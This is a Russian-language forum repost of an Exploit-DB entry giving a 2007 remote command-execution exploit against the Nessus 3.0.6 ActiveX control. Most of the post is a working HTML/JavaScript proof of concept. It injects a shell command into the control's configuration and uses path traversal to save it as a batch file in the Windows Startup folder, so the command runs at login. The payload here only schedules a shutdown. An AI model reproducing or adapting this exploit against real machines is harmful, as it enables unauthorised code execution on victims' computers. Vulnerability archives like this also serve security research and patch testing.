Exploit Nessus Vulnerability Scanner 3.0.6 - ActiveX Command Execution

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
4237
Проверка EDB
  1. Пройдено
Автор
H07
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2007-4062 cve-2007-4061 cve-2007-4031
Дата публикации
2007-07-27
HTML:
<HTML>
<!--
Nessus Vulnerability Scanner 3.0.6 ActiveX 0day Remote Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <[email protected]>
Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish
Just for fun ;]
-->

<object id="obj" classid="clsid:A47D5315-321D-4DEE-9DB3-18438023193B"></object>

<script language="javascript">
obj.addsetConfig('shutdown -t 1000 -s -c "hello world ;]" && pause', '', '');
obj.saveNessusRC("../../../../../../Documents and Settings/All Users/Menu Start/Programy/Autostart/exec.bat");
</script>
</HTML>

# milw0rm.com [2007-07-27]
 
Источник
www.exploit-db.com

Похожие темы